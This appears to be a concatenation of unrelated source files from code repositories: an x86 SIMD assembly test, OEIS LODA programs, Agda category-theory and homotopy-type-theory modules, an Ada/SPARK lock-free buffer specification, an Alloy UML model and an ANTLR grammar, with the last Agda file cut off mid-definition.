GLOBAL test
test:
paddw xmm0, xmm0
paddw xmm0, xmm1
paddw xmm0, xmm2
paddw xmm0, xmm3
paddw xmm0, xmm4
paddw xmm0, xmm5
paddw xmm0, xmm6
paddw xmm0, xmm7
paddw xmm0, xmm8
paddw xmm0, xmm9
paddw xmm0, xmm10
paddw xmm0, xmm11
paddw xmm0, xmm12
paddw xmm0, xmm13
paddw xmm0, xmm14
paddw xmm0, xmm15
paddw xmm1, xmm0
paddw xmm1, xmm1
paddw xmm1, xmm2
paddw xmm1, xmm3
paddw xmm1, xmm4
paddw xmm1, xmm5
paddw xmm1, xmm6
paddw xmm1, xmm7
paddw xmm1, xmm8
paddw xmm1, xmm9
paddw xmm1, xmm10
paddw xmm1, xmm11
paddw xmm1, xmm12
paddw xmm1, xmm13
paddw xmm1, xmm14
paddw xmm1, xmm15
paddw xmm2, xmm0
paddw xmm2, xmm1
paddw xmm2, xmm2
paddw xmm2, xmm3
paddw xmm2, xmm4
paddw xmm2, xmm5
paddw xmm2, xmm6
paddw xmm2, xmm7
paddw xmm2, xmm8
paddw xmm2, xmm9
paddw xmm2, xmm10
paddw xmm2, xmm11
paddw xmm2, xmm12
paddw xmm2, xmm13
paddw xmm2, xmm14
paddw xmm2, xmm15
paddw xmm3, xmm0
paddw xmm3, xmm1
paddw xmm3, xmm2
paddw xmm3, xmm3
paddw xmm3, xmm4
paddw xmm3, xmm5
paddw xmm3, xmm6
paddw xmm3, xmm7
paddw xmm3, xmm8
paddw xmm3, xmm9
paddw xmm3, xmm10
paddw xmm3, xmm11
paddw xmm3, xmm12
paddw xmm3, xmm13
paddw xmm3, xmm14
paddw xmm3, xmm15
paddw xmm4, xmm0
paddw xmm4, xmm1
paddw xmm4, xmm2
paddw xmm4, xmm3
paddw xmm4, xmm4
paddw xmm4, xmm5
paddw xmm4, xmm6
paddw xmm4, xmm7
paddw xmm4, xmm8
paddw xmm4, xmm9
paddw xmm4, xmm10
paddw xmm4, xmm11
paddw xmm4, xmm12
paddw xmm4, xmm13
paddw xmm4, xmm14
paddw xmm4, xmm15
paddw xmm5, xmm0
paddw xmm5, xmm1
paddw xmm5, xmm2
paddw xmm5, xmm3
paddw xmm5, xmm4
paddw xmm5, xmm5
paddw xmm5, xmm6
paddw xmm5, xmm7
paddw xmm5, xmm8
paddw xmm5, xmm9
paddw xmm5, xmm10
paddw xmm5, xmm11
paddw xmm5, xmm12
paddw xmm5, xmm13
paddw xmm5, xmm14
paddw xmm5, xmm15
paddw xmm6, xmm0
paddw xmm6, xmm1
paddw xmm6, xmm2
paddw xmm6, xmm3
paddw xmm6, xmm4
paddw xmm6, xmm5
paddw xmm6, xmm6
paddw xmm6, xmm7
paddw xmm6, xmm8
paddw xmm6, xmm9
paddw xmm6, xmm10
paddw xmm6, xmm11
paddw xmm6, xmm12
paddw xmm6, xmm13
paddw xmm6, xmm14
paddw xmm6, xmm15
paddw xmm7, xmm0
paddw xmm7, xmm1
paddw xmm7, xmm2
paddw xmm7, xmm3
paddw xmm7, xmm4
paddw xmm7, xmm5
paddw xmm7, xmm6
paddw xmm7, xmm7
paddw xmm7, xmm8
paddw xmm7, xmm9
paddw xmm7, xmm10
paddw xmm7, xmm11
paddw xmm7, xmm12
paddw xmm7, xmm13
paddw xmm7, xmm14
paddw xmm7, xmm15
paddw xmm8, xmm0
paddw xmm8, xmm1
paddw xmm8, xmm2
paddw xmm8, xmm3
paddw xmm8, xmm4
paddw xmm8, xmm5
paddw xmm8, xmm6
paddw xmm8, xmm7
paddw xmm8, xmm8
paddw xmm8, xmm9
paddw xmm8, xmm10
paddw xmm8, xmm11
paddw xmm8, xmm12
paddw xmm8, xmm13
paddw xmm8, xmm14
paddw xmm8, xmm15
paddw xmm9, xmm0
paddw xmm9, xmm1
paddw xmm9, xmm2
paddw xmm9, xmm3
paddw xmm9, xmm4
paddw xmm9, xmm5
paddw xmm9, xmm6
paddw xmm9, xmm7
paddw xmm9, xmm8
paddw xmm9, xmm9
paddw xmm9, xmm10
paddw xmm9, xmm11
paddw xmm9, xmm12
paddw xmm9, xmm13
paddw xmm9, xmm14
paddw xmm9, xmm15
paddw xmm10, xmm0
paddw xmm10, xmm1
paddw xmm10, xmm2
paddw xmm10, xmm3
paddw xmm10, xmm4
paddw xmm10, xmm5
paddw xmm10, xmm6
paddw xmm10, xmm7
paddw xmm10, xmm8
paddw xmm10, xmm9
paddw xmm10, xmm10
paddw xmm10, xmm11
paddw xmm10, xmm12
paddw xmm10, xmm13
paddw xmm10, xmm14
paddw xmm10, xmm15
paddw xmm11, xmm0
paddw xmm11, xmm1
paddw xmm11, xmm2
paddw xmm11, xmm3
paddw xmm11, xmm4
paddw xmm11, xmm5
paddw xmm11, xmm6
paddw xmm11, xmm7
paddw xmm11, xmm8
paddw xmm11, xmm9
paddw xmm11, xmm10
paddw xmm11, xmm11
paddw xmm11, xmm12
paddw xmm11, xmm13
paddw xmm11, xmm14
paddw xmm11, xmm15
paddw xmm12, xmm0
paddw xmm12, xmm1
paddw xmm12, xmm2
paddw xmm12, xmm3
paddw xmm12, xmm4
paddw xmm12, xmm5
paddw xmm12, xmm6
paddw xmm12, xmm7
paddw xmm12, xmm8
paddw xmm12, xmm9
paddw xmm12, xmm10
paddw xmm12, xmm11
paddw xmm12, xmm12
paddw xmm12, xmm13
paddw xmm12, xmm14
paddw xmm12, xmm15
paddw xmm13, xmm0
paddw xmm13, xmm1
paddw xmm13, xmm2
paddw xmm13, xmm3
paddw xmm13, xmm4
paddw xmm13, xmm5
paddw xmm13, xmm6
paddw xmm13, xmm7
paddw xmm13, xmm8
paddw xmm13, xmm9
paddw xmm13, xmm10
paddw xmm13, xmm11
paddw xmm13, xmm12
paddw xmm13, xmm13
paddw xmm13, xmm14
paddw xmm13, xmm15
paddw xmm14, xmm0
paddw xmm14, xmm1
paddw xmm14, xmm2
paddw xmm14, xmm3
paddw xmm14, xmm4
paddw xmm14, xmm5
paddw xmm14, xmm6
paddw xmm14, xmm7
paddw xmm14, xmm8
paddw xmm14, xmm9
paddw xmm14, xmm10
paddw xmm14, xmm11
paddw xmm14, xmm12
paddw xmm14, xmm13
paddw xmm14, xmm14
paddw xmm14, xmm15
paddw xmm0, xmm0
paddw xmm0, xmm1
paddw xmm0, xmm2
paddw xmm0, xmm3
paddw xmm0, xmm4
paddw xmm0, xmm5
paddw xmm0, xmm6
paddw xmm0, xmm7
paddw xmm0, xmm8
paddw xmm0, xmm9
paddw xmm0, xmm10
paddw xmm0, xmm11
paddw xmm0, xmm12
paddw xmm0, xmm13
paddw xmm0, xmm14
paddw xmm0, xmm15 |
oeis/325/A325765.asm | neoneye/loda-programs | 11 | 243859 | <filename>oeis/325/A325765.asm
; A325765: Number of integer partitions of n with a unique consecutive subsequence summing to every positive integer from 1 to n.
; Submitted by <NAME>
; 1,1,1,2,1,3,1,3,2,3,1,5,1,3,3,4,1,5,1,5,3,3,1,7,2,3,3,5,1,7,1,5,3,3,3,8,1,3,3,7,1,7,1,5,5,3,1,9,2,5,3
mov $1,1
max $1,$0
seq $1,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
mov $0,$1
sub $0,1
|
programs/oeis/001/A001753.asm | jmorken/loda | 1 | 96336 | <reponame>jmorken/loda
; A001753: Expansion of 1/((1+x)*(1-x)^6).
; 1,5,16,40,86,166,296,496,791,1211,1792,2576,3612,4956,6672,8832,11517,14817,18832,23672,29458,36322,44408,53872,64883,77623,92288,109088,128248,150008,174624,202368,233529,268413,307344,350664,398734,451934,510664,575344,646415,724339,809600,902704,1004180,1114580,1234480,1364480,1505205,1657305,1821456,1998360,2188746,2393370,2613016,2848496,3100651,3370351,3658496,3966016,4293872,4643056,5014592,5409536,5828977,6274037,6745872,7245672,7774662,8334102,8925288,9549552,10208263,10902827,11634688,12405328,13216268,14069068,14965328,15906688,16894829,17931473,19018384,20157368,21350274,22598994,23905464,25271664,26699619,28191399,29749120,31374944,33071080,34839784,36683360,38604160,40604585,42687085,44854160,47108360,49452286,51888590,54419976,57049200,59779071,62612451,65552256,68601456,71763076,75040196,78435952,81953536,85596197,89367241,93270032,97307992,101484602,105803402,110267992,114882032,119649243,124573407,129658368,134908032,140326368,145917408,151685248,157634048,163768033,170091493,176608784,183324328,190242614,197368198,204705704,212259824,220035319,228037019,236269824,244738704,253448700,262404924,271612560,281076864,290803165,300796865,311063440,321608440,332437490,343556290,354970616,366686320,378709331,391045655,403701376,416682656,429995736,443646936,457642656,471989376,486693657,501762141,517201552,533018696,549220462,565813822,582805832,600203632,618014447,636245587,654904448,673998512,693535348,713522612,733968048,754879488,776264853,798132153,820489488,843345048,866707114,890584058,914984344,939916528,965389259,991411279,1017991424,1045138624,1072861904,1101170384,1130073280,1159579904,1189699665,1220442069,1251816720,1283833320,1316501670,1349831670,1383833320,1418516720,1453892071,1489969675,1526759936,1564273360,1602520556,1641512236,1681259216,1721772416,1763062861,1805141681,1848020112,1891709496,1936221282,1981567026,2027758392,2074807152,2122725187,2171524487,2221217152,2271815392,2323331528,2375777992,2429167328,2483512192,2538825353,2595119693,2652408208,2710704008,2770020318,2830370478,2891767944,2954226288,3017759199,3082380483,3148104064,3214943984,3282914404,3352029604,3422303984,3493752064,3566388485,3640228009,3715285520,3791576024,3869114650,3947916650,4027997400,4109372400,4192057275,4276067775
mov $3,$0
lpb $0
mov $2,$0
cal $2,1752 ; Expansion of 1/((1+x)*(1-x)^5).
sub $0,1
add $1,$2
sub $1,1
lpe
add $1,1
add $1,$3
|
src/Categories/Morphism/Cartesian.agda | Trebor-Huang/agda-categories | 279 | 10301 | <reponame>Trebor-Huang/agda-categories
{-# OPTIONS --without-K --safe #-}
module Categories.Morphism.Cartesian where
open import Level
open import Categories.Category
open import Categories.Functor
private
variable
o ℓ e : Level
C D : Category o ℓ e
record Cartesian (F : Functor C D) {X Y} (f : C [ X , Y ]) : Set (levelOfTerm F) where
private
module C = Category C
module D = Category D
open Functor F
open D
field
universal : ∀ {A} {u : F₀ A ⇒ F₀ X} (h : C [ A , Y ]) →
F₁ f ∘ u ≈ F₁ h → C [ A , X ]
commute : ∀ {A} {u : F₀ A ⇒ F₀ X} {h : C [ A , Y ]}
(eq : F₁ f ∘ u ≈ F₁ h) →
C [ C [ f ∘ universal h eq ] ≈ h ]
compat : ∀ {A} {u : F₀ A ⇒ F₀ X} {h : C [ A , Y ]}
(eq : F₁ f ∘ u ≈ F₁ h) →
F₁ (universal h eq) ≈ u
|
src/bbqueue-buffers.ads | skade/bbqueue-spark | 8 | 5509 | -- This unit is based on BBqueue.Offsets_Only and embeds an internal buffer.
-- It provides directly usable slices of memory from its internal buffer:
--
-- Q : aliased Buffer (64);
-- WG : Write_Grant := Empty;
-- S : Slice_Rec;
-- begin
-- Grant (Q, WG, 8);
-- if State (WG) = Valid then
-- declare
-- B : Storage_Array (1 .. Slice (WG).Length)
-- with Address => Slice (WG).Addr;
-- begin
-- B := (others => 42);
-- end;
-- Commit (Q, WG);
-- end if;
with System;
package BBqueue.Buffers
with Preelaborate,
SPARK_Mode,
Abstract_State => null
is
type Buffer (Size : Buffer_Size)
is limited private;
-- Producer --
type Write_Grant is limited private;
procedure Grant (This : in out Buffer;
G : in out Write_Grant;
Size : Count)
with Global => null,
Pre => State (G) /= Valid,
Post => State (G) in Valid | Empty | Grant_In_Progress | Insufficient_Size
and then
(if Size = 0 then State (G) = Empty)
and then
(if State (G) = Valid
then Write_Grant_In_Progress (This)
and then Slice (G).Length = Size);
-- Request a contiguous writeable slice of the internal buffer
procedure Commit (This : in out Buffer;
G : in out Write_Grant;
Size : Count := Count'Last)
with Pre => State (G) = Valid,
Post => (if Write_Grant_In_Progress (This)'Old
then State (G) = Empty
else State (G) = Valid);
-- Commit a writeable slice. Size can be smaller than the granted slice for
-- partial commits. The commited slice is then available for Read.
generic
with procedure Process_Write (Data : out Storage_Array; To_Commit : out Count);
procedure Write_CB (This : in out Buffer;
Size : Count;
Result : out Result_Kind);
-- Write in the buffer using a "callback". This procedure will call
-- Process_Write () on the slice returned by Grant (), if the result
-- is Valid. It will then call Commit with the value To_Commit returned by
-- Process_Write ().
-- Consumer --
type Read_Grant is limited private;
procedure Read (This : in out Buffer;
G : in out Read_Grant;
Max : Count := Count'Last)
with Pre => State (G) /= Valid,
Post => State (G) in Valid | Empty | Grant_In_Progress
and then
(if State (G) = Valid
then Read_Grant_In_Progress (This)
and then Slice (G).Length <= Max);
-- Request contiguous readable slice of up to Max elements from the internal
-- buffer.
procedure Release (This : in out Buffer;
G : in out Read_Grant;
Size : Count := Count'Last)
with Pre => State (G) = Valid,
Post => (if Read_Grant_In_Progress (This)'Old
then State (G) = Empty
else State (G) = Valid);
-- Release a readable slice. Size can be smaller than the granted slice for
-- partial releases.
generic
with procedure Process_Read (Data : Storage_Array; To_Release : out Count);
procedure Read_CB (This : in out Buffer;
Result : out Result_Kind);
-- Read from the buffer using a "callback". This procedure will call
-- Process_Read () on the slice returned by Read (), if the result is
-- Valid. It will then call Release with the value To_Release returned
-- by Process_Read ().
-- Utils --
function Empty return Write_Grant
with Post => State (Empty'Result) = Empty;
function Empty return Read_Grant
with Post => State (Empty'Result) = Empty;
-- Slices --
type Slice_Rec is record
Length : Count;
Addr : System.Address;
end record;
function State (G : Write_Grant) return Result_Kind;
function Slice (G : Write_Grant) return Slice_Rec
with Pre => State (G) = Valid;
function State (G : Read_Grant) return Result_Kind;
function Slice (G : Read_Grant) return Slice_Rec
with Pre => State (G) = Valid;
function Write_Grant_In_Progress (This : Buffer) return Boolean
with Ghost;
function Read_Grant_In_Progress (This : Buffer) return Boolean
with Ghost;
private
type Buffer (Size : Buffer_Size) is limited record
Buf : Storage_Array (1 .. Size) := (others => 0);
Offsets : Offsets_Only (Size);
end record;
function Empty_Slicerec return Slice_Rec
is (0, System.Null_Address);
type Write_Grant is limited record
Offsets_Grant : BBqueue.Write_Grant;
Slice : Slice_Rec := (0, System.Null_Address);
end record;
type Read_Grant is limited record
Offsets_Grant : BBqueue.Read_Grant;
Slice : Slice_Rec := (0, System.Null_Address);
end record;
function State (G : Write_Grant) return Result_Kind
is (G.Offsets_Grant.Result);
function Empty return Write_Grant
is (Offsets_Grant => BBqueue.Empty, others => <>);
function Slice (G : Write_Grant) return Slice_Rec
is (G.Slice);
function State (G : Read_Grant) return Result_Kind
is (G.Offsets_Grant.Result);
function Empty return Read_Grant
is (Offsets_Grant => BBqueue.Empty, others => <>);
function Slice (G : Read_Grant) return Slice_Rec
is (G.Slice);
-----------------------------
-- Write_Grant_In_Progress --
-----------------------------
function Write_Grant_In_Progress (This : Buffer) return Boolean
is (BBqueue.Write_Grant_In_Progress (This.Offsets));
----------------------------
-- Read_Grant_In_Progress --
----------------------------
function Read_Grant_In_Progress (This : Buffer) return Boolean
is (BBqueue.Read_Grant_In_Progress (This.Offsets));
end BBqueue.Buffers;
|
models/amalgam/paper/uml1.als | transclosure/Amalgam | 4 | 3850 | <filename>models/amalgam/paper/uml1.als
// CD2Alloy1.cd - parsed successfully!
// Alloy Model for CDs CD2Alloy1
// Generated: 2016-07-21 23:49:58 Israel Daylight Time
module umlp2alloy/CD2Alloy1_module
///////////////////////////////////////////////////
// Generic Head of CD Model - Apr. 28, 2011
///////////////////////////////////////////////////
//Names of fields/associations in classes of the model
private abstract sig FName {}
//Names of enum values in enums of the model
private abstract sig EnumVal {}
//Values of fields
private abstract sig Val {}
//Parent of all classes relating fields and values
abstract sig Obj {
get : FName -> { Obj + Val + EnumVal }
}
pred ObjFNames[objs: set Obj, fNames:set FName] {
no objs.get[FName - fNames]
}
pred ObjAttrib[objs: set Obj, fName:one FName, fType: set { Obj + Val + EnumVal }] {
objs.get[fName] in fType
all o: objs | one o.get[fName]
}
pred ObjMeth[objs: set Obj, fName: one FName, fType: set { Obj + Val + EnumVal }] {
objs.get[fName] in fType
all o: objs | one o.get[fName]
}
pred ObjLUAttrib[objs: set Obj, fName:one FName, fType: set Obj, low: Int, up: Int] {
ObjLAttrib[objs, fName, fType, low]
ObjUAttrib[objs, fName, fType, up]
}
pred ObjLAttrib[objs: set Obj, fName:one FName, fType: set Obj, low: Int] {
objs.get[fName] in fType
all o: objs | (#o.get[fName] >= low)
}
pred ObjUAttrib[objs: set Obj, fName:one FName, fType: set Obj, up: Int] {
objs.get[fName] in fType
all o: objs | (#o.get[fName] =< up)
}
pred ObjLU[objs: set Obj, fName:one FName, fType: set Obj, low: Int, up: Int] {
ObjL[objs, fName, fType, low]
ObjU[objs, fName, fType, up]
}
pred ObjL[objs: set Obj, fName:one FName, fType: set Obj, low: Int] {
all r: objs | # { l: fType | r in l.get[fName]} >= low
}
pred ObjU[objs: set Obj, fName:one FName, fType: set Obj, up: Int] {
all r: objs | # { l: fType | r in l.get[fName]} =< up
}
pred BidiAssoc[left: set Obj, lFName:one FName, right: set Obj, rFName:one FName] {
all l: left | all r: l.get[lFName] | l in r.get[rFName]
all r: right | all l: r.get[rFName] | r in l.get[lFName]
}
pred Composition[compos: Obj->Obj, right: set Obj] {
all r: right | lone compos.r
}
fun rel[wholes: set Obj, fn: FName] : Obj->Obj {
{o1:Obj,o2:Obj | o1->fn->o2 in wholes <: get}
}
fact NonEmptyInstancesOnly {
some Obj
}
///////////////////////////////////////////////////
// Structures common to both CDs
///////////////////////////////////////////////////
// Concrete names of fields in cd
private one sig color extends FName {}
private one sig drives extends FName {}
private one sig of extends FName {}
private one sig drivenBy extends FName {}
private one sig worksIn extends FName {}
// Concrete value types in model cd
// Concrete enum values in model cd
private one sig enum_ColorKind_red extends EnumVal {}
private one sig enum_ColorKind_black extends EnumVal {}
private one sig enum_ColorKind_white extends EnumVal {}
// Classes in model cd
sig Employee extends Obj {}
sig Address extends Obj {}
sig Car extends Obj {}
sig Driver extends Obj {}
// Interfaces in model cd
///////////////////////////////////////////////////
// CD CD2Alloy1
///////////////////////////////////////////////////
// Types wrapping subtypes
fun EmployeeSubsCDCD2Alloy1: set Obj {
Employee + Driver
}
fun AddressSubsCDCD2Alloy1: set Obj {
Address
}
fun CarSubsCDCD2Alloy1: set Obj {
Car
}
fun DriverSubsCDCD2Alloy1: set Obj {
Driver
}
// Types containing subtypes for definition of associations
// Relations that represent compositions which the class is a part of
// Enums
// Enum values in cd
fun ColorKindEnumCDCD2Alloy1: set EnumVal {
enum_ColorKind_red + enum_ColorKind_black + enum_ColorKind_white
}
// Values and relations in cd
pred CD2Alloy1 {
// Definition of class Employee
ObjFNames[Employee, worksIn + none]
// Definition of class Address
ObjFNames[Address, none]
// Definition of class Car
ObjAttrib[Car, color, ColorKindEnumCDCD2Alloy1]
ObjFNames[Car, color + drivenBy + none]
// Definition of class Driver
ObjFNames[Driver, drives + worksIn + none]
// Special properties of singletons, abstract classes and interfaces
// Associations
ObjLUAttrib[EmployeeSubsCDCD2Alloy1, worksIn, AddressSubsCDCD2Alloy1, 1, 3]
ObjLU[AddressSubsCDCD2Alloy1, worksIn, EmployeeSubsCDCD2Alloy1, 1, 1]
BidiAssoc[DriverSubsCDCD2Alloy1, drives, CarSubsCDCD2Alloy1, drivenBy]
ObjLUAttrib[CarSubsCDCD2Alloy1, drivenBy, DriverSubsCDCD2Alloy1, 1, 1]
ObjLUAttrib[DriverSubsCDCD2Alloy1, drives, CarSubsCDCD2Alloy1, 0, 1]
// Compositions
Obj = (Employee + Address + Car + Driver)
}
pred cd {
CD2Alloy1
}
///////////////////////////////////////////////////
// Run commands
///////////////////////////////////////////////////
run cd for 10 but 5 int
|
day23/coasm/CoAsm.g4 | basverweij/aoc2017 | 1 | 643 | <filename>day23/coasm/CoAsm.g4
grammar CoAsm ;
program
: instruction*
;
instruction
: Opcode regOrConst regOrConst
;
Opcode
: 'set'
| 'sub'
| 'mul'
| 'jnz'
;
Reg
: 'a'
| 'b'
| 'c'
| 'd'
| 'e'
| 'f'
| 'g'
| 'h'
;
regOrConst
: Reg
| Const
;
Const
: '-'?[0-9]+
;
WS : [ \t\r\n]+ -> skip ; // skip spaces, tabs, newlines
|
Agda/06-universes.agda | hemangandhi/HoTT-Intro | 0 | 17391 | <reponame>hemangandhi/HoTT-Intro
{-# OPTIONS --without-K --exact-split --allow-unsolved-metas #-}
module 06-universes where
import 05-identity-types
open 05-identity-types public
-- Section 6.3 Pointed types
-- Definition 6.3.1
UU-pt : (i : Level) → UU (lsuc i)
UU-pt i = Σ (UU i) (λ X → X)
type-UU-pt : {i : Level} → UU-pt i → UU i
type-UU-pt = pr1
pt-UU-pt : {i : Level} (A : UU-pt i) → type-UU-pt A
pt-UU-pt = pr2
-- Definition 6.3.2
_→*_ : {i j : Level} → UU-pt i → UU-pt j → UU-pt (i ⊔ j)
A →* B =
pair
( Σ (type-UU-pt A → type-UU-pt B) (λ f → Id (f (pt-UU-pt A)) (pt-UU-pt B)))
( pair
( const (type-UU-pt A) (type-UU-pt B) (pt-UU-pt B))
( refl))
-- Definition 6.3.3
Ω : {i : Level} → UU-pt i → UU-pt i
Ω A = pair (Id (pt-UU-pt A) (pt-UU-pt A)) refl
-- Definition 6.3.4
iterated-loop-space : {i : Level} → ℕ → UU-pt i → UU-pt i
iterated-loop-space zero-ℕ A = A
iterated-loop-space (succ-ℕ n) A = Ω (iterated-loop-space n A)
-- Section 6.4 Families and relations on the natural numbers
-- Definition 6.4.1
Fin : ℕ → UU lzero
Fin zero-ℕ = empty
Fin (succ-ℕ n) = coprod (Fin n) unit
-- Definition 6.4.2
-- Observational equality on the natural numbers
Eq-ℕ : ℕ → (ℕ → UU lzero)
Eq-ℕ zero-ℕ zero-ℕ = 𝟙
Eq-ℕ zero-ℕ (succ-ℕ n) = 𝟘
Eq-ℕ (succ-ℕ m) zero-ℕ = 𝟘
Eq-ℕ (succ-ℕ m) (succ-ℕ n) = Eq-ℕ m n
-- Lemma 6.4.3
refl-Eq-ℕ : (n : ℕ) → Eq-ℕ n n
refl-Eq-ℕ zero-ℕ = star
refl-Eq-ℕ (succ-ℕ n) = refl-Eq-ℕ n
succ-relation-ℕ :
{i : Level} (R : ℕ → ℕ → UU i) → ℕ → ℕ → UU i
succ-relation-ℕ R m n = R (succ-ℕ m) (succ-ℕ n)
succ-reflexivity-ℕ :
{i : Level} (R : ℕ → ℕ → UU i) (ρ : (n : ℕ) → R n n) →
(n : ℕ) → succ-relation-ℕ R n n
succ-reflexivity-ℕ R ρ n = ρ (succ-ℕ n)
{- In the book we suggest that first the order of the variables should be
swapped, in order to make the inductive hypothesis stronger. Agda's pattern
matching mechanism allows us to bypass this step and give a more direct
construction. -}
least-reflexive-Eq-ℕ :
{i : Level} (R : ℕ → ℕ → UU i) (ρ : (n : ℕ) → R n n) →
(m n : ℕ) → Eq-ℕ m n → R m n
least-reflexive-Eq-ℕ R ρ zero-ℕ zero-ℕ star = ρ zero-ℕ
least-reflexive-Eq-ℕ R ρ zero-ℕ (succ-ℕ n) ()
least-reflexive-Eq-ℕ R ρ (succ-ℕ m) zero-ℕ ()
least-reflexive-Eq-ℕ R ρ (succ-ℕ m) (succ-ℕ n) e =
least-reflexive-Eq-ℕ (succ-relation-ℕ R) (succ-reflexivity-ℕ R ρ) m n e
-- Exercises
-- Exercise 6.1
{- In this exercise we were asked to show that the observational equality on ℕ
is an equivalence relation. -}
symmetric-Eq-ℕ : (m n : ℕ) → Eq-ℕ m n → Eq-ℕ n m
symmetric-Eq-ℕ zero-ℕ zero-ℕ star = star
symmetric-Eq-ℕ (succ-ℕ m) (succ-ℕ n) t = symmetric-Eq-ℕ m n t
transitive-Eq-ℕ : (l m n : ℕ) → Eq-ℕ l m → Eq-ℕ m n → Eq-ℕ l n
transitive-Eq-ℕ zero-ℕ zero-ℕ zero-ℕ p q = star
transitive-Eq-ℕ (succ-ℕ l) (succ-ℕ m) (succ-ℕ n) p q =
transitive-Eq-ℕ l m n p q
-- Exercise 6.2
{- In this exercise we were asked to show that any function on the natural
numbers preserves observational equality. The quick solution uses the fact
that observational equality is the least reflexive relation. -}
preserve_Eq-ℕ : (f : ℕ → ℕ) (n m : ℕ) → (Eq-ℕ n m) → (Eq-ℕ (f n) (f m))
preserve_Eq-ℕ f =
least-reflexive-Eq-ℕ
( λ x y → Eq-ℕ (f x) (f y))
( λ x → refl-Eq-ℕ (f x))
-- Exercise 6.3
{- In this exercise we were asked to construct the relations ≤ and < on the
natural numbers, and show basic properties about them. -}
-- Exercise 6.3(a)
-- The definition of ≤
leq-ℕ : ℕ → ℕ → UU lzero
leq-ℕ zero-ℕ m = unit
leq-ℕ (succ-ℕ n) zero-ℕ = empty
leq-ℕ (succ-ℕ n) (succ-ℕ m) = leq-ℕ n m
_≤_ = leq-ℕ
leq-zero-ℕ :
(n : ℕ) → leq-ℕ zero-ℕ n
leq-zero-ℕ n = star
-- The definition of <
le-ℕ : ℕ → ℕ → UU lzero
le-ℕ m zero-ℕ = empty
le-ℕ zero-ℕ (succ-ℕ m) = unit
le-ℕ (succ-ℕ n) (succ-ℕ m) = le-ℕ n m
_<_ = le-ℕ
reflexive-leq-ℕ : (n : ℕ) → n ≤ n
reflexive-leq-ℕ zero-ℕ = star
reflexive-leq-ℕ (succ-ℕ n) = reflexive-leq-ℕ n
anti-reflexive-le-ℕ : (n : ℕ) → ¬ (n < n)
anti-reflexive-le-ℕ zero-ℕ = ind-empty
anti-reflexive-le-ℕ (succ-ℕ n) = anti-reflexive-le-ℕ n
transitive-leq-ℕ :
(n m l : ℕ) → (n ≤ m) → (m ≤ l) → (n ≤ l)
transitive-leq-ℕ zero-ℕ m l p q = star
transitive-leq-ℕ (succ-ℕ n) (succ-ℕ m) (succ-ℕ l) p q =
transitive-leq-ℕ n m l p q
transitive-le-ℕ : (n m l : ℕ) → (le-ℕ n m) → (le-ℕ m l) → (le-ℕ n l)
transitive-le-ℕ zero-ℕ (succ-ℕ m) (succ-ℕ l) p q = star
transitive-le-ℕ (succ-ℕ n) (succ-ℕ m) (succ-ℕ l) p q =
transitive-le-ℕ n m l p q
succ-leq-ℕ : (n : ℕ) → leq-ℕ n (succ-ℕ n)
succ-leq-ℕ zero-ℕ = star
succ-leq-ℕ (succ-ℕ n) = succ-leq-ℕ n
succ-le-ℕ : (n : ℕ) → le-ℕ n (succ-ℕ n)
succ-le-ℕ zero-ℕ = star
succ-le-ℕ (succ-ℕ n) = succ-le-ℕ n
anti-symmetric-leq-ℕ : (m n : ℕ) → leq-ℕ m n → leq-ℕ n m → Id m n
anti-symmetric-leq-ℕ zero-ℕ zero-ℕ p q = refl
anti-symmetric-leq-ℕ (succ-ℕ m) (succ-ℕ n) p q =
ap succ-ℕ (anti-symmetric-leq-ℕ m n p q)
anti-symmetric-le-ℕ : (m n : ℕ) → le-ℕ m n → le-ℕ n m → Id m n
anti-symmetric-le-ℕ (succ-ℕ m) (succ-ℕ n) p q =
ap succ-ℕ (anti-symmetric-le-ℕ m n p q)
-- Exercise 6.5
{- In this exercise we were asked to construct observational equality on the
booleans. This construction is analogous to, but simpler than, the
construction of observational equality on the natural numbers. -}
Eq-𝟚 : bool → bool → UU lzero
Eq-𝟚 true true = unit
Eq-𝟚 true false = empty
Eq-𝟚 false true = empty
Eq-𝟚 false false = unit
reflexive-Eq-𝟚 : (x : bool) → Eq-𝟚 x x
reflexive-Eq-𝟚 true = star
reflexive-Eq-𝟚 false = star
least-reflexive-Eq-𝟚 : {i : Level}
(R : bool → bool → UU i) (ρ : (x : bool) → R x x)
(x y : bool) → Eq-𝟚 x y → R x y
least-reflexive-Eq-𝟚 R ρ true true p = ρ true
least-reflexive-Eq-𝟚 R ρ true false p = ind-empty p
least-reflexive-Eq-𝟚 R ρ false true p = ind-empty p
least-reflexive-Eq-𝟚 R ρ false false p = ρ false
-- Exercise 6.6
{- In this exercise we were asked to define the relations ≤ and < on the
integers. As a criterion of correctness, we were then also asked to show
that the type of all integers l satisfying k ≤ l satisfy the induction
principle of the natural numbers. -}
diff-ℤ : ℤ → ℤ → ℤ
diff-ℤ k l = add-ℤ (neg-ℤ k) l
is-non-negative-ℤ : ℤ → UU lzero
is-non-negative-ℤ (inl x) = empty
is-non-negative-ℤ (inr k) = unit
leq-ℤ : ℤ → ℤ → UU lzero
leq-ℤ k l = is-non-negative-ℤ (diff-ℤ k l)
reflexive-leq-ℤ : (k : ℤ) → leq-ℤ k k
reflexive-leq-ℤ k =
tr is-non-negative-ℤ (inv (left-inverse-law-add-ℤ k)) star
is-non-negative-succ-ℤ :
(k : ℤ) → is-non-negative-ℤ k → is-non-negative-ℤ (succ-ℤ k)
is-non-negative-succ-ℤ (inr (inl star)) p = star
is-non-negative-succ-ℤ (inr (inr x)) p = star
is-non-negative-add-ℤ :
(k l : ℤ) →
is-non-negative-ℤ k → is-non-negative-ℤ l → is-non-negative-ℤ (add-ℤ k l)
is-non-negative-add-ℤ (inr (inl star)) (inr (inl star)) p q = star
is-non-negative-add-ℤ (inr (inl star)) (inr (inr n)) p q = star
is-non-negative-add-ℤ (inr (inr zero-ℕ)) (inr (inl star)) p q = star
is-non-negative-add-ℤ (inr (inr (succ-ℕ n))) (inr (inl star)) star star =
is-non-negative-succ-ℤ
( add-ℤ (inr (inr n)) (inr (inl star)))
( is-non-negative-add-ℤ (inr (inr n)) (inr (inl star)) star star)
is-non-negative-add-ℤ (inr (inr zero-ℕ)) (inr (inr m)) star star = star
is-non-negative-add-ℤ (inr (inr (succ-ℕ n))) (inr (inr m)) star star =
is-non-negative-succ-ℤ
( add-ℤ (inr (inr n)) (inr (inr m)))
( is-non-negative-add-ℤ (inr (inr n)) (inr (inr m)) star star)
triangle-diff-ℤ :
(k l m : ℤ) → Id (add-ℤ (diff-ℤ k l) (diff-ℤ l m)) (diff-ℤ k m)
triangle-diff-ℤ k l m =
